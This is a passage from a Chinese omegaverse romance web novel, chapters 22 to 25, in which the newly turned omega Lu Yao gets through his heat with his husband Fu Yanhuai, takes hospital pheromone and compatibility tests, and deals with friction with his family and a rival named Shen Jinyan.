傅晏淮对此不予评价,文筝想了想还是不放心道,“小鹿的态度我们还不知道,你先别问他当天出了什么事,先好好照顾他度过发情期。” 傅晏淮笃定道,“我会的。” 文筝就催促他,“快上楼吧,一会儿他该醒了。” 傅晏淮都要走了,文筝思来想去还是把人给叫住。 “傅晏淮。”文筝脸上的表情很严肃,“以前你是怎么打算的,我懒得管。但现在你已经完全标记了鹿遥,你应该知道s级的标记清洗起来很痛苦,失败风险极高。从前的事都不作数,从现在开始,你必须对这段婚姻负责。” 傅晏淮没有回答这个问题,他停顿片刻后进门离开。 在傅晏淮刚刚关上门没多久的时候,鹿遥就昏昏沉沉察觉到了什么。信息素的浓度没有改变,但鹿遥还是挣扎着醒来。 “晏淮…” 鹿遥没有听出自己的声音眷恋又饱含春/情,他迷迷糊糊睁开眼睛,没有看到傅晏淮。 他无法用语言描述自己那一刻的慌张,像是扎根地下的巨木忽然凭空消失,只留他一人在茫茫雪原。 鹿遥直接掀开被子下床,但他很快就重重跌倒在地上。斑驳的红痕印记布满全身,可疑的液体亮晶晶地反光,鹿遥狼狈支撑起身体。 傅晏淮站在门前就敏锐察觉到了不对,他皱眉进门,看到的就是这幅场景。 傅晏淮几乎是立刻就起了反应,他一步步走到鹿遥身前站定,鹿遥缓慢抬起头,眼泪流了满脸。 傅晏淮叹了口气,他蹲下身搂紧鹿遥,“别哭了。” 鹿遥也不想这样,他知道自己这样不正常,但是他就是一刻也不想离开傅晏淮。 鹿遥哽咽道,“可能是因为发情期,我是不是给你添麻烦了,我不是故意的。” “是。”傅晏淮按揉鹿遥的腺体安抚他,“这不是你的错。” 鹿遥喜欢这样密不透风的拥抱,alpha在身边迅速抚平他的慌张,傅晏淮耐心等着鹿遥的身体慢慢变热。就这这个半跪半抱到姿势,傅晏淮咬住鹿遥的腺体。 接下来的三天,鹿遥发情热的频率逐渐减退,直到他身上焦糖和白冷杉的味道完全融为一体,发情期才终于结束了。 鹿遥的信息素水平正常逐渐回归正常,但他不清楚omega的正常状态下是什么表现,他现在还是很喜欢黏着傅晏淮。 鹿遥套上新送来的衣服,扶着楼梯扶手下楼,傅晏淮在桌边吃早饭。 现在他的手脚还是发软,但整体看起来已经和之前差不多,这栋别墅内还是只有他们两个人,好像世界只剩下他们彼此。 鹿遥眼中的爱恋和依赖还没有消退,完全标记后的世界是崭新的,他和傅晏淮有了更紧密亲近的联结。 鹿遥在傅晏淮身上闻到了一点焦糖的味道,他有点不好意思地在傅晏淮旁边坐下。 “刚刚换衣服碰到伤口,耽误了一点时间。” 鹿遥想要和傅晏淮挨得近一点,他努力克制住自己,试图表现得正常。 傅晏淮嗯了声推开餐盘,他对鹿遥道,“我看看。” 鹿遥听话地把领口向后坦开,傅晏淮撕开腺体贴,咬痕的狰狞让他挑了下眉。 明明是很寻常的位置,但现在被傅晏淮这么注视竟然也让人感到坐立难安起来,鹿遥安慰自己咬都咬过多少回了,有什么可在意的。 傅晏淮指尖轻轻碰了碰,鹿遥强装的镇定立刻土崩瓦解,他的耳垂红得晶莹剔透,“怎、怎么了吗?” 傅晏淮收回手,“有点严重,我把冯医生叫来了,一会让他来看看。” “哦,好。”大老远还让医生跑一趟,鹿遥还有点不好意思,“麻烦医生了。” 傅晏淮把腺体贴仔细贴好,“没关系,这是他的工作。” 白冷杉和焦糖混在一起的味道甜滋滋的,鹿遥忍不住多闻了闻。 鹿遥的雀跃来得轻易又简单,傅晏淮感受到了鹿遥的快乐,他思索道,“是喜欢我给你贴腺体贴吗?” “?”鹿遥赶忙道,“不是,我…” “小鹿!” 文筝身后跟着冯医生,时隔七天,她终于再次见到了鹿遥,文筝仔细打量鹿遥的神色,“身体怎么样,有没有哪里不舒服?” 刚刚分化就进行完全标记,文筝担心鹿遥的腺体受损。 鹿遥面色很红润,但是好像瘦了一点。文筝关切地上下看他,鹿遥连忙摇头道,“没有,我很好,真的。” 文筝看他确实好像没什么大碍,她这才松了一口气,在旁边的椅子上坐下,“我还怕你们两个年轻人莽撞,看来还是有顾忌的。” 鹿遥面色微红,傅晏淮对冯医生点点头,“您来了,坐。” 女佣们沉默上前收拾桌子,文筝轻声问鹿遥道,“吃饭了没有,饿不饿?” 冯医生打开医药箱,鹿遥有点不好意思地回道,“刚刚醒,还不饿。” 文筝摸摸鹿遥的头发,“等你饿了再吃,叫厨房先准备着。” 冯医生先简单开了一些药,然后就是照常的叮嘱环节,“伤口注意涂药,一日两次。家庭医生没有权限做信息素检测,等级和契合度测试需要到医院进行。还有就是,请问您这七天有做过什么防护措施吗?” 鹿遥懵了一下,他转头去看傅晏淮,傅晏淮理所当然地回答,“没有。” 这次轮到文筝瞪傅晏淮了,她气得差点没保持住自己温柔得体的形象,她明明让人送来了! 防护措施的确送了,傅晏淮的确也看到了,但他也是的确直接忽略上楼了。 傅晏淮平稳道,“腺体刚刚成熟,受孕几率很小。” 鹿遥受惊猛地抬起头去看傅晏淮,傅晏淮抬手覆盖住鹿遥的后颈,他看着鹿遥,面色很平静。 “omega有生殖腔,当然会怀孕。” 鹿遥大脑再次宕机,omega会怀孕这他确实知道,但是如果放在他身上… 他真的分化成omega了。 鹿遥和傅晏淮两人的互动让文筝忍不住皱眉,她不动声色把傅晏淮的手拍开,“既然这样,你们两个不如到医院做一次检测,顺便看看鹿遥腺体有没有损伤。” 傅晏淮思忖道,“也好。” 这屋子里到处乱糟糟的,只有餐厅这里收拾了出来,文筝站起身道,“这里不是说话的地方,还是回到前面再定。” “冯医生。”文筝笑容很真切,“红包助理转给您,辛苦了。” 冯医生的笑容也很真切,傅家给钱很大方,“这是我应该做的。” “小鹿。”文筝转回头叫鹿遥,“和妈妈走。” 鹿遥对这个称呼没有抵抗力,他听话地跟上去,但走的时候偷偷转看了一眼傅晏淮。 傅晏淮在两人身后走得很闲适,他的信息素从未像现在这么稳定。 文筝侧头温柔对鹿遥问道,“别担心,如果没有不舒服的话,这次发情期应该就没有太大影响。今天不知道还来不来得及,应该让傅晏淮带着你去一次医院。” “谢谢妈妈,我觉得还好。” “一家人,说什么谢。” 和文筝这样走在路上,鹿遥忍不住晃神,这一切都让他感觉太不真实。 鹿遥低下头,忍不住摸了一下自己的小腹。 他真的会怀孕吗。 第23章 第 23 章 检测 “看来你在到鹿家之前应该就已经要分化了。” 文筝心有余悸, “还好没出什么问题,真让人后怕。” 鹿遥向文筝解释了分化当天的情况,挡着鹿遥的面, 文筝没有直接表达出自己对鹿家的不满。 鹿遥也不明白为什么鹿千星会和关清露一起想把他关起来,他还不知道沈谨言在那天来过傅家。 鹿遥有点窘迫道, “我也不知道为什么会忽然分化,那天不舒服, 还以为是没休息好。” 要是他知道自己会分化一定不会什么措施都不做就到处乱跑的, 一夜之间从beta变成omega, 鹿遥隐隐有点抓狂。 鹿遥不舒服傅晏淮也没看出来, 文筝看了一眼傅晏淮, 他在出神不知道想什么。 傅晏淮今天贴的是强效腺体贴, 文筝没有在他身上闻到其他味道。 “要是公司那边的事情不着急,你先带着鹿遥去医院做信息素检测,再看看腺体有没有受损。” 傅晏淮看向文筝点头, “好, 我的意思也是先去医院检查。” 鹿遥听见傅晏淮的话忍不住侧头去看他, 完全标记把鹿遥原本能隐藏住的喜欢全部显露出来,他想要和傅晏淮一直在一起。 文筝注意到了鹿遥的小动作,她有点担心傅晏淮能不能照顾好鹿遥, 毕竟他刚刚分化成omega, 又对傅晏淮这么依赖。 傅晏淮没有注意到鹿遥在悄悄看他,但他察觉到了鹿遥的信息素变化,他默默从身后搂住鹿遥的腰拍了拍。 鹿遥又脸红起来,如果不是还贴着腺体贴,焦糖信息素就会被闻到了。 文筝不能让刚刚标记过后的ao分开,但鹿遥和傅晏淮单独住她很不放心。 文筝委婉道, “我这次回到京城也想多住一阵子,也不知道市里有没有什么好玩的地方,等我这两天去逛街,顺便去看看你们。” 文筝不是需要人陪着的性格,傅晏淮停顿一瞬,鹿遥真的以为文筝是想逛街,“好,我来陪您。” 文筝舒了口气,“我也是担心家里万一要是来客人,你们两个招待不好。小鹿最近要多多休息,如果遇到麻烦,就跟妈妈说,知不知道?” 鹿遥的心思就立刻全部飘到文筝身上去了,傅晏淮挑眉低头,鹿遥专注对文筝道,“谢谢妈妈,我会的。” 文筝顺势柔柔拉过鹿遥的手,“好孩子。” 母慈子孝的场景一时让傅晏淮陷入沉默,他知道文筝大概是怕关清露或者沈谨言到家里刺激到鹿遥,不过傅晏淮还是觉得怪怪的。 莫名其妙有点酸。 文筝不放心鹿遥,两人临走时她找了个借口叫住傅晏淮。 “我还没问你,沈谨言是怎么回事?” 傅晏淮垂眼道,“什么事都没有,不过,我会处理好的。” 文筝稍微满意了一点,她理了下自己原本就丝毫不乱的鬓发,“鹿遥割舍不下自己的家也是情有可原,你不要太逼迫他。鹿家上不了台面不要紧,找个由头让他们离远点就好了,省得鹿遥为难。” 傅晏淮略带玩味地道,“他应该不会太为难的。” 文筝警告地看了他一眼,“别以为那天我是在和你开玩笑,如果有一天你真把鹿遥给气走了,我可不会替你说好话。” 傅晏淮笃定道,“肯定不会有那一天。” 傅晏淮知道鹿遥有多喜欢他,他有这个自信鹿遥绝对不会离开。 文筝懒得搭理他了,她上前和鹿遥道别叮嘱他注意身体,随后傅晏淮和鹿遥一起离开。 现在还不算晚,傅晏淮直接让司机到傅家的私人医院,强效腺体贴有点不舒服,傅晏淮降下车厢前后挡板把腺体贴摘掉。 白冷杉的味道几乎在瞬间就占满了整个空间,鹿遥对傅晏淮的信息素条件反射地做出反应。 鹿遥的身体迅速回忆起刚刚过去的七天发情期,他又开始有了发情期的症状。 傅晏淮直接把鹿遥拉进怀里,他把鹿遥的腺体贴也撕开扔到一边,鹿遥抵住傅晏淮的肩膀缓解体内翻滚涌动的热浪。傅晏淮微烫的掌心贴到鹿遥的后颈,然后他慢慢把人圈进怀里。 等到鹿遥的身体逐渐平稳,傅晏淮低头问道,“好一点了吗?” 鹿遥眼圈有点红,他吸了下鼻子低声道,“好了,刚刚…” “应该是我覆盖的标记太强了。”傅晏淮清楚鹿遥的这些反应大概率都是因为自己,但他的语气没有什么歉意,“等你适应了我的标记之后,这些异常应该都会减轻。” 鹿遥却有点失落,标记不应该是存在于两个人之间的吗?为什么看起来,受影响的只有他一个。 傅晏淮挑眉道,“怎么了?” 鹿遥停止胡思乱想,他眷恋地没有起来,还是趴在傅晏淮肩上道,“没怎么。” “说谎。” 傅晏淮加重语气,“为什么不高兴了。” 这可是傅晏淮让他说的,鹿遥稍微理直气壮了一点,他小声嘟哝,“只有我受到标记的影响,你都没有什么反应。” 原来人在有点生气的时候真的会想笑,傅晏淮尽量平稳道,“我没有反应?原来是七天的发情期太短了吗。” 鹿遥热得快蒸发了,他立刻改口道,“那其实也不是…” “我们要做一个匹配度测试。”傅晏淮松开手道,“你还要单独做腺体检测,如果生殖腔可以承受的话,或许还需要服用避孕药物。” 鹿遥勉强笑了一下,“你不想要孩子吗?” 还是只是不想要和他的孩子呢。 傅晏淮耐心地道,“你腺体和生殖腔的情况需要经过具体的检查,即使具有正常的功能,刚刚成熟的腺体也很大可能承担不了怀孕的负荷。而且,我也的确没有考虑过要孩子的事。” 傅晏淮的信息素抵抗严重到任何omega都不能接近他,鹿遥是特例,也是唯一一个特例。在此之前,傅晏淮已经做好打算把傅氏集团交给旁系的下一代,毕竟都没有人能接近他,更何况和他生孩子。 “哦,那好吧。” 傅晏淮的分析很全面,但鹿遥的心情还是低落下去。 现在的确不着急要孩子,毕竟傅晏淮也才27岁,他们都还年轻。 不知道这是否来源于omega的本能,仅仅是从alpha口中听到不想要孩子的医院,鹿遥都无可避免地感到难过。 在和傅晏淮一起进入医院的电梯时,鹿遥忍不住用目光描摹傅晏淮的侧脸。 如果他真的能和傅晏淮有一个孩子的话… 傅晏淮的面庞无可挑剔,鹿遥笨拙地想象着结合了他们两个模样的孩子,那应该会是一个很可爱的宝宝。 可惜傅晏淮没有理会来自omega的渴望,他的顾虑也算情有可原,刚刚分化就孕育一个生命的确太过辛苦。 信息素科的医生已经在检查室内等着了,看到两人走近,医生恭敬地道,“傅总好。” 傅晏淮嗯了声算是答应,医生接着对鹿遥笑道,“鹿先生,您请坐。” beta女医生的语气和动作都很轻柔,很大程度上能缓解鹿遥的紧张。 仪器显示出基本数值,护士来抽了几管血,这些检测都是当天就可以出结果的。 医生仔细看了看单子,“您的腺体并没有受到太大损伤,但体内的ao信息素水平不平衡,s级信息素过多会导致您自己的信息素无法正常代谢运转。 我会给您开药辅助稳定腺体,您要注意至少一周内都不能再让腺体受到刺激。您刚刚分化,新生的腺体又过于活跃,这可能会影响到您的身体。” 鹿遥担忧问道,“是会影响到哪里呢,如果是,是…” 傅晏淮在旁边,鹿遥没有直接问出是否会怀孕,但医生显然也听明白了他的意思。 “这需要检测您的腺□□。”医生安抚道,“至于生殖腔的受损情况,可能需要更进一步的检测,如果说您没有觉得不适的话…” 傅晏淮开口打断了她,“生殖腔没有明显外伤。” 鹿遥假装低头看地板,试图隐藏自己的羞窘。 医生松了口气,她接着道,“这很好,腺体贴就可以检测出生殖腔的发育情况。最好的服用药物避孕时间在72小时内,可这种药物刺激性比较大,我需要看过数值才能确定鹿先生可以不可以吃。” 鹿遥努力不去看傅晏淮,他故作平静地问道,“那如果不吃会怎么样?” 医生没有显示出异样,她依然微笑着回答了这个问题,“如果生殖腔成熟的话,您会有怀孕的几率。但s级的后代不易孕育,也不是每次发情期结合都一定会怀孕,尤其是您的生殖腔刚刚成熟,所以怀孕的可能性比较小。” 鹿遥有点失落地道,“好,谢谢医生。” 傅晏淮和鹿遥分别抽取了一点腺□□,在等待匹配度结果的过程中,傅晏淮侧头问鹿遥。 “你喜欢孩子?” 鹿遥老老实实道,“还好。” “看你的表现,我还以为你很喜欢小孩。”傅晏淮再次耐心道,“你只是发情期后激素水平不稳定,等到激素代谢平衡就不会想着要怀孕了。” 鹿遥有些茫然,他也不确定自己是否是因为忽然分化才会有这么强烈的念头,但不管怎么样,有一个和傅晏淮的孩子,应该不是一件坏事。 “那如果真的怀孕了呢?”鹿遥忐忑看向傅晏淮,“你会喜欢他吗?” 傅晏淮沉默地皱了下眉,但随即他很快答道,“当然。” 鹿遥就满足地揣着这个回答不再执着于孩子,他安静地坐在傅晏淮身旁等待检查结果。 第24章 第 24 章 契合度 “我们分析了您的检验报告单, 可以判定您是因为接收到过量s级信息素的刺激被诱导二次分化,分化等级还需要进一步检测。不过您和傅总的契合度结果出来了,是100%, 这是检测数据。” 傅晏淮听到有些意外,虽然是在对鹿遥说话, 但医生却先把检测单交给了傅晏淮。 鹿遥眼睛跟着检测单一直转到傅晏淮手里,傅晏淮注意到鹿遥的动作, 心里莫名有点痒痒的。 鹿遥是因为傅晏淮才分化, 那他和自己的契合度是百分百似乎也是合理的。 在此之前, 傅晏淮从来没有想过自己会和一个omega的匹配度会这么高。 每一名ao的信息素都录入在系统库里, 傅晏淮在前几年抵抗症状加剧的时候不是没有想过寻找高契合度的omega用标记来彻底治愈, 但和他进行匹配的omega匹配度最高也不超过五十, 傅晏淮当时就已经接受了自己不能和omega结合的事实。 但只是度过几次易感期而已,鹿遥竟然二次分化了,还和他的契合度这么高。 傅晏淮凝神看着手中的检测结果, 他对这段婚姻从没有放在心上过, alpha和beta不能进行永久标记, 这段婚姻本质上是各取所需。 不过鹿遥并没有要过他的钱,或许是想给鹿家谋一些好处吧。 鹿遥的脑袋毛茸茸地凑过来,他仔细一个字一个字看着结果, 焦糖信息素闻起来很甜。 鹿遥的欣喜落进傅晏淮眼底, 鹿遥当然是高兴的,因为这份检测单好像在说他和傅晏淮很般配。 傅晏淮不知道这份检测有什么值得这么高兴,他把这张纸随手放到一旁,他对医生开口道,“剩下的结果要多久才能出来?” 鹿遥愣愣看着傅晏淮,他刚刚满溢出来的欢喜逐渐消退, 傅晏淮不在意他们的契合度。 医生礼貌道,“只剩下等级鉴定,五个小时后可以拿到。” 傅晏淮蹙眉,他不能在这等这么久,原本来过医院他就要去公司。 鹿遥低声开口道,“我在这里等就好,比较重要的结果都已经出来了,你先回公司吧。” “等结束后让司机开车来接你。” 傅晏淮看了医生一眼,医生会意带着大家都暂时退出去。 鹿遥疑惑回头看了一圈,“怎么忽然都…” “别多心。”傅晏淮在鹿遥的腺体上印下一个轻吻,“今天我回家会有点晚,乖乖吃晚饭。把你的东西都搬到我的卧室吧,让管家帮你收拾。” 鹿遥的眼睛亮晶晶的,“真的吗?” 平心而论,谁看到这样一心只有自己的眼神都会忍不住动心,更何况这还是刚刚被完全标记过、属于自己的omega。 “真的。” 原来一点无关痛痒的小事就可以让鹿遥这么满足,傅晏淮不讨厌鹿遥的焦糖味道,而且两人的信息素混杂在一起很好闻。 傅晏淮又吻向鹿遥的嘴唇,短暂的吻一触即分,傅晏淮揉了揉鹿遥的头顶,“等我回家。” 鹿遥全部的期盼就只是这一句话,他多么想要和傅晏淮拥有自己的家庭,现在他的愿望就在眼前,鹿遥鼻子有点酸了。 他眼睛弯弯地笑起来,“好,你去忙吧,我在家里等你。” 鹿遥恋恋不舍地看着傅晏淮离开,医生重新走了进来。 “鹿先生,这边有休息室,您要在那边等等吗?” 鹿遥连忙道,“不用麻烦了,谢谢。” 医生点点头,“那您——” “医生。”鹿遥悄悄握紧手问道,“我的生殖腔,需要服用避孕药物吗?” 医生有些诧异,但她还是微笑回道,“您的生殖腔并未完全发育成熟,但理论上来说,仍然存在一定的怀孕几率,只不过很小。避孕药物有一定的刺激性,可能会对身体造成损伤,您可以与傅总商量过后再决定要不要服用。” 鹿遥的心砰砰跳了起来,他面上没有异常,依然对医生礼貌道谢,“好的,我知道了,谢谢医生。” 直到走出医院大门,鹿遥也没有缓解掉自己的紧张。 医院旁边就是药店,鹿遥没有走进去,也不想和傅晏淮商量。 鹿遥低头看着自己的小腹,医生说怀孕的几率很小,而且他或许也不适应药物。 既然如此,鹿遥就不想吃了。 如果,如果这次真的有了一个宝宝的话,那他就生下来。 他已经和傅晏淮有了一个家了啊,为什么会不想要一个孩子呢? 傅晏淮对待孩子会不会很严厉,但不管怎么样,他们应该都会有一个幸福的家庭。 鹿遥走到一边的商场,他看了眼手机里写着傅晏淮的联系人界面,最终还是决定什么都不告诉傅晏淮。 鹿遥找到夏时越,在他分化的那天夏时越给他打了很多个电话,但后面不知道为什么就没有再联系他了。 鹿遥给夏时越拨了回去,不知道他现在有没有时间。 鹿遥耐心等了一会,夏时越的声音出现,“小鹿!” 鹿遥趴在栏杆上,迎面吹来的风凉丝丝的很舒服。 “时越,不好意思这么多天才回复你…” “这是哪里的话,你身体还好吗?” 夏时越焦急问道,“你和傅晏淮,不会真的完全标记了吧。” 鹿遥嗖地一下站直了,“你怎么知道?” 鹿遥羞窘道,“发情期是昨晚结束的,我刚刚从医院出来。” 夏时越幽幽道,“你分化的动静那么大,傅晏淮又连着七天没有出现,现在都是傅伯父出面开会了,该知道的差不多都已经清楚了。” 鹿遥就更加窘迫起来,“我也没有想到我会分化,那几天发烧还以为是没有休息好,不然我不会再突然回去鹿家…” 鹿遥沉默片刻又故作无事道,“不过现在情况已经稳定下来了,医生说我的腺体发育得还好。” 夏时越叹了口气,他欲言又止道,“那傅晏淮,还是像以前那样吗?” 鹿遥无意识地捏了两下手指,他垂下眼慢慢地道,“他说,要我在家里等他。” 夏时越心中咯噔一声,完了,被狗男人迷住了。 夏时越还是觉得傅晏淮很一般,不过现在完全标记都已经形成,他们两个不能再轻易分开,夏时越也就没有再多说什么。 更何况,眼下还有个更要紧的事。 夏时越犹豫了一下还是道,“你是在鹿家分化的,对吗?” 鹿遥沉默片刻,“我只记得被锁在了房间里,不过不记得怎么出去的。” “最重要的不是怎么出去。”夏时越沉声道,“在你分化之前,我问过你认不认得沈谨言。这次傅晏淮做的项目规模很大,我家也有参与,我跟着我爸去傅氏集团,在那里看到了沈谨言。” 鹿遥艰涩问道,“所以那天你才问我认不认识他吗?” 夏时越也不忍心说这些,但他觉得这些事情不解决或许会有危险。 比如鹿千星莫名其妙忽然联同关清露一起把鹿遥关在家里。 “是。”夏时越沉声道,“我怀疑沈谨言和鹿千星之间有联系。” 其实不是怀疑,是确定,夏时越查到的资料里写了这些。 鹿遥却反而没有什么表现,他只是道,“他们两个从高中就认识了,我知道。” 夏时越惊愕地扬声问道,“你知道?!” 鹿遥平静道,“既然你问我这些,应该也是听说了一些事情。我在大学的时候曾经到过一个酒会兼职,当时沈谨言应该也在场,他拍了错位照片发在了学习论坛里,后来我退学了。” 尽管已经知道,但夏时越再次听到还是觉得很心痛,“那个学校分数线很高的。” 鹿遥没有问夏时越为什么知道他念书的学校,他疑惑道,“你是觉得这次我被关起来也是因为他吗?” 夏时越斩钉截铁道,“是。” 鹿遥在对面停顿了很久,“其实,我知道鹿家不是我的家。” 关清露没有把他当成过自己的孩子,他更像是关清露的仇人,都不要说爱,关清露不恨鹿遥都要松一口气。 鹿遥在这一刻好像也轻松了一点,其实承认这个自己清楚多年的事实也没什么难的。 “我不会再回去了,反正那里也没有人想见到我。” 夏时越十分肯定鹿遥的想法,“没错,这很好。” 他又捏着鼻子道,“而且,傅家就挺好啊,有钱有闲老公还不回家。你别理你妈和你弟弟了,我觉得他们也是疯疯癫癫的。” 鹿遥故作轻松道,“我会看着处理的,你不用担心。” 话是这么说,但夏时越还是很担心,他转移话题道,“你现在在哪儿?我带你去看看新装修好的店,这两天送来了好多机器,我带你去逛一圈。” 鹿遥果然很感兴趣,“好啊,刚好看完回来去检测报告。” 夏时越有一肚子话想和鹿遥说,“你等我,我这就出发了。” 夏时越挂断电话,鹿遥心不在焉地看着手机。 沈谨言最近也到傅氏集团去谈合作上的公事了吗?但傅晏淮没有提过这件事。 也对,傅晏淮又不知道自己以前和沈谨言的事,他可能连那个酒会都不记得了。 除了结婚,傅晏淮的确对鹿遥一点印象都没有,他已经不记得自己曾经随手帮过一个酒侍了。 鹿遥发现自己根本没有融入到傅晏淮的生活里,尽管他们已经是世界上最亲密的人。 鹿遥最终还是没有点开傅晏淮的联系界面,他喃喃道,“一点小事,还是不要麻烦他了吧。” 就算傅晏淮知道又能怎么样,合作项目也不是说改就能改的。 鹿遥不想让傅晏淮觉得为难,他只想把现在的生活平静地一直过下去。 第25章 第 25 章 补偿 傅晏淮进办公室的时候迎面碰上了傅际中, 这两天他天天都在公司,所以早上在家里没看到他。 傅际中一看见他就道,“你来得正好, 有好几个等着要来找你说事的。有几个紧急等着批的文件我帮你发下去了,剩下的你来看看。” 傅晏淮走上前蹙眉翻开看堆着的报表, 傅际中却一改常态地没有直接离开,反而到一旁的沙发上坐下了。 傅晏淮转回头道, “您还有事?” “没事我就不能在这坐坐吗?”傅际中不说自己要干什么, “你忙你的, 不用管我。” 傅晏淮没有反驳, 他按铃叫助理开始正常办公。 傅际中瞄了傅晏淮一眼, 完全标记看起来也没有给他留下太大的影响, 不过话又说回来,他这孩子一直都是这副死人脸,干什么都这样。 鹿遥其实已经不错了, 换了哪个能受得了傅晏淮这样的脾气。不过傅晏淮连对着鹿遥都态度平平, 还会分出心来和别人搞暧昧? 傅际中不懂傅晏淮的想法, 那个沈谨言又是从哪冒出来的,傅晏淮天天到底在公司都干了什么,搞潜规则? 傅际中一想到自己在退休的年纪还要操心孩子的私人生活就觉得糟心, 他长长叹了口气。 傅晏淮就更加奇怪了, 他放下报表刚要开口,就响起了助理的敲门声。 “进。” 傅晏淮以为只有助理一个人,但沈谨言竟然也跟在助理身后。 傅晏淮忽略沈谨言,他先给助理交代工作,“这个策划表重做一份拿给我,叫设计部门带着他们的样品上来一趟。” 沈谨言也没有打扰傅晏淮, 他见傅际中也在,直接笑着走向沙发。 “傅伯父,原来今天您也在,傅总这两天还好吗?” 傅际中看了两眼沈谨言,“嗯,家里有些私事必须要傅晏淮本人亲自处理,现在已经忙完了。” 沈谨言没有听到自己想听的东西,他脸上笑意更深几分,状似真诚道,“是鹿先生分化成omega了吗?恭喜您。” 助理接到任务就转身离开,傅晏淮听到两人说话的动静望向这边。 傅际中打了个哈哈,“这不该恭喜我,该恭喜晏淮,他对鹿遥的信息素完全没有抵抗症状,分化度过得非常顺利。” 沈谨言也想知道傅晏淮到底是不是真的和鹿遥一起度过了发情期,他顺势看向傅晏淮,“傅总,恭喜您——” “多谢。”傅晏淮淡淡颔首,“刚刚已经拿到医院的检查结果,我和鹿遥的契合度是百分百。” 沈谨言猛地抬起头,百分百契合?这怎么可能? 傅际中先是一愣,随即欣慰道,“这很好啊,你妈妈知道了吗?” 傅晏淮并未提及太多,“还没来得及,您回家后直接告诉她吧。百分百契合不会再出现抵抗症状,鹿遥的身体也没有出现异常。” 沈谨言不可置信道,“可是二次分化的beta通常都不会有太高的等级,他怎么可能会和您…” “百分百契合度,什么等级都不重要。” 傅晏淮终于第一次正面回答了沈谨言越界的话,“这是我的私事,如果你没有工作要说,就可以离开了。” 沈谨言眼中有羞耻一闪而过,他深深地看了傅晏淮一眼,什么也没有说,径直出了办公室。 这个反应很古怪,但傅晏淮没有理会。 傅际中看着这一幕有点惊讶,但随后他又非常理解地镇定下来。 傅晏淮这么不解人情是正常的,如果他好好说话忽然对谁态度好起来那才是不正常。 沈谨言都走了,傅际中也站起身,“行了,你忙吧,我先走了。” 傅晏淮终于可以开始处理堆积的文件,他此时觉得还是鹿遥省心。 想到鹿遥,傅晏淮翻文件的手微微凝滞,却也只停顿了那一瞬间。 夏时越带着鹿遥去到刚刚装修完成的店里,他兴致勃勃道,“你看看这个操作台怎么样,还缺不缺什么?” 这些烘焙和制作机器都是最新的机型,夏时越看得出下了血本,但鹿遥还在震惊这个店面。 “你不是说是一间咖啡厅吗?怎么会有这么大的咖啡厅?” 这家咖啡厅更像是米其林三星餐厅,装潢奢侈程度让鹿遥大开眼界,这里上上下下都写着:高端,消费不起。 夏时越得意道,“怎么样,是不是很好看?员工我都招聘好了。” 鹿遥硬着头皮道,“这店面会不会有一点太大了?” 成本肉眼可见的高昂,万一赔了可怎么办。 夏时越豪迈道,“你不用管这些,我相信我们一定可以创下前所未有的成绩,大不了我回家再求求我爸多涨点零用钱。” 有钱人的世界鹿遥不懂,“那好吧。设备很齐全了,没有什么要再添的。” 夏时越看着自己打下的江山心中涌起一阵激情,“谁说富二代不能创业,我一定就是那个商业奇才。” 鹿遥在一边摸了摸还没拆封的机器,也许时越就是遗传了家里的商业天赋呢。 夏时越低头翻了两下手机,“最近的黄道吉日是两天后,我们就在那天开张!” 鹿遥:(·▽·)? “会不会有点太快了。”鹿遥委婉道,“不然我们先试着营业几天看看?” 夏时越手一挥,“不用。” 他深情款款握住鹿遥的手,“我相信我们一定能成功致富,你说呢?” 鹿遥艰难地违心道,“一定可以。” 鹿遥用店里的机器试着做了一个慕斯蛋糕,他和夏时越分享着吃完了这块各种意义上都是崭新的甜品,然后看时间差不多,鹿遥重新回到医院取了自己的检测单。 夏时越好奇跟在他身边,“你的等级检测吗?是什么级别啊。” 但鹿遥却没有看到具体的结果,他疑惑抬起头,医生沉思着对他道。 “您这种情况十分罕见,我们无法对您的级别做出具体界定,因为您的信息素无法和信息库里的任何一个alpha进行匹配。除了傅总,您和其他人的匹配度都低于百分之十。” 鹿遥怔愣道,“您的意思是?” 医生耐心道,“这种情况不在界定等级标准范围内,不过可以把样本发到上一级科研院做进一步研究。” “不用了。”鹿遥收起检测单,“等级是什么不是很重要。” 不能和其他人进行匹配契合也不重要,傅晏淮是鹿遥唯一一个喜欢的人,也会是他唯一一个alpha。 鹿遥说不在意就是真的不在意,他礼貌道谢后就直接离开,夏时越还没缓过来接收的信息,他匆匆跟上鹿遥。 医生目光复杂,她缓慢呼出口气,看着电脑屏幕上备份的检测结果,她停顿片刻还是打给傅晏淮。 傅晏淮很快就接了起来,“安医生。” 安医生掩去情绪道,“傅总,鹿先生的检测结果已经发给您了。” “嗯,我看过了。鹿遥有说什么吗?” “没有。”安医生道,“不过他问了自己有没有可能会怀孕。” 傅晏淮停下自己手中的动作,“他怀孕的几率有多少。” 安医生直白道,“很小,生殖腔还需要再过几次发情期才能发育完全,现在怀孕的话也会对身体造成损伤。避孕药物会有刺激作用,我没有开药,鹿先生应该也没有买。” 傅晏淮垂下眼重新翻动文件,“那就好,不吃就不吃吧,不用强迫他。” 既然话都已经说到这,安医生不得不问了一句,“那如果鹿先生真的怀孕了,您打算留下吗?鹿先生的身体恐怕承受不住流产手术。” 长久的静默后傅晏淮才开口,“我没有想过这段婚姻会一直持续,这本质上只是交易。” 傅晏淮自己也不觉得他和鹿遥拥有的是正常的家庭,和一个beta结婚只是无路可走后的不得已选择。 “如果有了就生下来吧。”傅晏淮还没有思考过后代的问题,但现在看起来似乎只有鹿遥可以生下他的孩子,如果是这样的话,那他也不介意。 他会给鹿遥相应的补偿的。 安医生只能沉默,傅晏淮简短道,“等级检测看鹿遥怎么想,先这样。” 电话挂断,安医生默默叹了口气。 夏时越开车送鹿遥回家,他面色有些凝重,“看来你分化的的确确就是因为傅晏淮。” 这可怎么办,虽然说也不是要鹿遥出轨,但只能和傅晏淮匹配这算怎么回事啊! 鹿遥反而很平静,“我从出生就是beta,我…我家在我小时候做过很多检测,还打过促分化的针剂,但都没有任何改变。或许是s级信息素的缘故吧。” 夏时越看起来十分痛心疾首,他小声嘀咕道,“傅晏淮真是好命。” 鹿遥转头对夏时越弯眼笑笑,“我真的不在意分化等级,是omega或者beta也都可以,能一直像现在这样生活就很好了。” 鹿遥现在很像抱紧板栗坚果过冬的小松鼠,缩在自己的小窝里满脸都写着满足。 夏时越只好道,“好吧。” 但愿傅晏淮是个识相的。 原本夏时越送鹿遥到家就可以了,但好巧不巧,临下车时夏时越在别墅门口看见了鹿千星。 夏时越眯着眼仔细看了看,“鹿遥,那是你弟弟吗?” 